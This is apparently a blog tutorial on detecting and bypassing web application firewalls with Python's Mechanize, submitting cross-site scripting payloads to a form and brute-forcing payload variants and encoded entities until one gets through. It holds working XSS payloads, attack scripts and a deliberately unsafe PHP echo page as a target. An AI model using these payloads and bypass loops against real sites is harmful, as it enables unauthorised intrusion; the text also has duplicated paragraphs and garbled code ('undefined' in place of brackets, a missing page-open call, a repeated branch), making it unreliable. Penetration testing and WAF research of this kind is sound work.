Use Python To Detect And Bypass Web Application Firewall
Web application firewalls are usually placed in front of the web server to filter the malicious traffic coming towards server. If you are hired as a penetration tester for some company and they forgot to tell you that they are using web application firewall than you might get into a serious mess. The figure below depicts the working of a simple web application firewall:
As you can see its like a wall between web traffic and web server, usually now a days web application firewalls are signature based.
In a signature based firewall you define signatures, as you know web attacks follow similar patters or signatures as well. So we can define the matching patterns and block them, i.e.
Payload :- <svg><script>alert`1`<p>
The payload defined above is a kind of cross site scripting attack, and we know that all these attacks can contain following substring -> "<script>", so why don't we define a signature that can block a web traffic if it contains this sub string, we can define 2-3 signatures as defined below:
Most of the firewalls today leave some tracks about them, now If you attack a web application using the payload we defined above and get the following response:
You can clearly see that your attack was blocked by the Mod_Security firewall. In this article we will see how we can develop a simple python script that can do this task detecting firewall and bypassing it.
PHP Script:
What is a signature based firewall?
In a signature based firewall you define signatures, as you know web attacks follow similar patters or signatures as well. So we can define the matching patterns and block them, i.e.
Payload :- <svg><script>alert`1`<p>
The payload defined above is a kind of cross site scripting attack, and we know that all these attacks can contain following substring -> "<script>", so why don't we define a signature that can block a web traffic if it contains this sub string, we can define 2-3 signatures as defined below:
- <script>
- alert(*)
How to know there is a firewall?
If you are performing a penetration test and you didn't know that there was a firewall blocking the traffic than it can waste a lot of your time, because most of the time your attack payloads are getting blocked by the firewall not by your application code, and you might end up thinking that the application you are testing have a secure good and is good to go. So, it is a good idea to first test for web application firewall presence before you start your penetration test.Most of the firewalls today leave some tracks about them, now If you attack a web application using the payload we defined above and get the following response:
1
2
3
4
5
6
7
| HTTP/1.1 406 Not Acceptable Date: Mon, 10 Jan 2016 Server: nginx Content-Type: text/html; charset=iso-8859-1 Not Acceptable!Not Acceptable! An appropriate representation of the requested resource could not be found on this server. This error was generated by < strong >Mod_Security</ strong >. |
Step 1: Define HTML Document and PHP Script!
We will have to define our HTML document for injection of payload and corresponding PHP script to handle the data. We have defined both of them below.
We will be using the following HTML Document:
1
2
3
4
5
6
7
8
| < html > < body > < form name = "waf" action = "waf.php" method = "post" > Data: < input type = "text" name = "data" >< br > < input type = "submit" value = "Submit" > </ form > </ body > </ html > |
PHP Script:
1
2
3
4
5
| < html > < body > Data from the form : <? php echo $_POST["data"]; ?>< br > </ body > </ html > |
Step 2: Prepare malicious request!
Our second step towards detecting the firewall presence is creating a malicious cross site scripting request that can be blocked by the firewall. We will be using a python module called 'Mechanize', to know more about this module please read the following article :
If you already know about Mechanize, you can skip reading the article. Now that you know about Mechanize, we can select the web form present on any page and submit the request. Following code snippet can be used to do that:
1
2
3
4
5
| import mechanize as mec maliciousRequest = mec.Browser() formName = 'waf' maliciousRequest.select_form(formName) |
Lets discuss this code line wise:
- On the first line we've imported the mechanize module and given it a short name 'mec' for later reference.
- To download a web page using mechanize, instantiation of browser is required. We've just did that in the second line of the code.
- On the first step we've defined our HTML document, in which the form name was 'waf', we need to tell mechanize to select this form for submission, so we've this name in a variable called formName.
- Than we opened this url, just like we do in a browser. After the page gets opened we fill in the form and submit data, so opening of page is same here.
- Finally we've selected the form using 'select_form' function passing it 'formName' variable.
Step 3: Prepare the payload
In our HTML document we've specified one input field using this code:input type="text" name="data"><br>
You can see that name of this field is 'data', we can use following bit of code to define input for this field :
1
2
3
| crossSiteScriptingPayLoad = "<svg><script>alert`1`<p>" maliciousRequest.form[ 'data' ] = crossSiteScriptingPayLoad |
- First line saves our payload in a variable.
- In a second line of code, we've assigned our payload to a form field 'data'.
Step 4: Submit the form and record Response
Code I am going to mention after this line will submit the form and record the response:
1
2
3
4
| maliciousRequest.submit() response = maliciousRequest.response().read() print response |
- Submit the form.
- Save the response in a variable.
- Print the response back.
As you can see that payload is printed back to us, means no filtering is present on the application code and due to the absence of firewall our request was also not blocked.
Step 5: Detect the Presence of firewall
Variable named 'response' contains the response we got from server, we can use the response to detect presence of firewall. We will try to detect the presence of following firewalls in this tutorial.- WebKnight.
- Mod_Security.
- Dot Defender.
1
2
3
4
5
6
7
8
9
10
| if response.find( 'WebKnight' ) > = 0 : print "Firewall detected: WebKnight" elif response.find( 'Mod_Security' ) > = 0 : print "Firewall detected: Mod Security" elif response.find( 'Mod_Security' ) > = 0 : print "Firewall detected: Mod Security" elif response.find( 'dotDefender' ) > = 0 : print "Firewall detected: Dot Defender" else : print "No Firewall Present" |
We can extend this small application to detect for as many number of firewalls, but you must know there response behavior.
Using Brute force to bypass Firewall filter
I've mentioned in the start of the article that mostly firewall these days block requests based on signatures. But there are hundreds and thousands of ways you can construct a payload. Java script is becoming complex day by day, we can make a list of payloads, and try each of them, record each response and check if we was able to bypass the firewall or not. Please note that if firewall rules are well defined than this approach might not work. Let see how we can brute force using python:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
| listofPayloads = [ '<dialog open="" onclose="alertundefined1)"><form method="dialog"><button>Close me!</button></form></dialog>' , '<svg><script>prompt&#40 1&#41<i>' , '<a href="&#1;javascript:alertundefined1)">CLICK ME<a>' ] for payLoads in listofPayloads: maliciousRequest = mec.Browserundefined) formName = 'waf' maliciousRequest.select_formundefinedformName) maliciousRequest.form[ 'data' ] = payLoads maliciousRequest.submitundefined) response = maliciousRequest.responseundefined).readundefined) if response.findundefined 'WebKnight' ) > = 0 : print "Firewall detected: WebKnight" elif response.findundefined 'Mod_Security' ) > = 0 : print "Firewall detected: Mod Security" elif response.findundefined 'Mod_Security' ) > = 0 : print "Firewall detected: Mod Security" elif response.findundefined 'dotDefender' ) > = 0 : print "Firewall detected: Dot Defender" else : print "No Firewall Present" |
- On the first line we've defined a list of 3 payloads, you can extend this list and add as many payloads as you require.
- Then inside the for loop we did the same process we did above, but this time for each payload in a list.
- Upon receiving response we again compare and see see if firewall is present on not.
Convert HTML Tags to Unicode or Hex Entities
If for example firewall is filtering html tags like <, >. We can send their corresponding Unicode or Hex Entities and see if they are being converted to there original form, if so, than this could be an entry point as well. Code below can be used to examine this process:
1
2
3
4
5
6
7
8
9
10
11
12
| listofPayloads = [ '<b>' , '\u003cb\u003e' , '\x3cb\x3e' ] for payLoads in listofPayloads: maliciousRequest = mec.Browser() formName = 'waf' maliciousRequest.select_form(formName) maliciousRequest.form[ 'data' ] = payLoads maliciousRequest.submit() response = maliciousRequest.response().read() print "---------------------------------------------------" print response print "---------------------------------------------------" |
1
|
Means none of the encoded entry got converted to its original form.
Conclusion
The purpose of this article was to train you in advance so that you can penetrate your firewall before a hacker can do. It is always a good choice to self test your network infrastructure for vulnerabilities, because our first concern always is to get our application up and running and we overlook the security part. But it must not be over looked, because later it can be a huge headache.Complete source code can be downloaded from this link.
Comments
Post a Comment